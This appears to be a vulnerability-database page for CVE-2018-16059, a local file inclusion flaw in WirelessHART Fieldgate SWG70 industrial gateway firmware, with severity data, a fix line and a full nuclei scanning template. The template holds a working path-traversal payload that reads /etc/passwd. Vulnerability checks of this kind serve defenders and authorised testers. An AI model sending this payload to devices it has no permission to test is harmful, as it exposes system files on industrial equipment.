HexBrain

Browse / CVEs / CVE-2018-16059

CVE-2018-16059· endress / wirelesshart fieldgate swg70 firmware· CWE-22

WirelessHART Fieldgate SWG70 3.0 - Local File Inclusion

mediumseverity
5.3CVSS score
29.5%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

WirelessHART Fieldgate SWG70 3.0 is vulnerable to local file inclusion via the fcgi-bin/wgsetcgi filename parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the system, potentially leading to unauthorized access or information disclosure.

Fix

Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in WirelessHART Fieldgate SWG70 3.0.

How to confirm it

Send: POST {{BaseURL}}/fcgi-bin/wgsetcgi
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-16059 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-16059

info:
  name: WirelessHART Fieldgate SWG70 3.0 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: WirelessHART Fieldgate SWG70 3.0 is vulnerable to local file inclusion via the fcgi-bin/wgsetcgi filename parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the system, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in WirelessHART Fieldgate SWG70 3.0.
  reference:
    - https://www.exploit-db.com/exploits/45342
    - https://ics-cert.us-cert.gov/advisories/ICSA-19-073-03
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16059
    - https://www.exploit-db.com/exploits/45342/
    - https://cert.vde.com/en-us/advisories/vde-2019-002
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2018-16059
    cwe-id: CWE-22
    epss-score: 0.29816
    epss-percentile: 0.98215
    cpe: cpe:2.3:o:endress:wirelesshart_fieldgate_swg70_firmware:3.00.07:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: endress
    product: wirelesshart_fieldgate_swg70_firmware
  tags: cve,cve2018,iot,lfi,edb,endress,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/fcgi-bin/wgsetcgi"

    body: 'action=ajax&command=4&filename=../../../../../../../../../../etc/passwd&origin=cw.Communication.File.Read&transaction=fileCommand'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from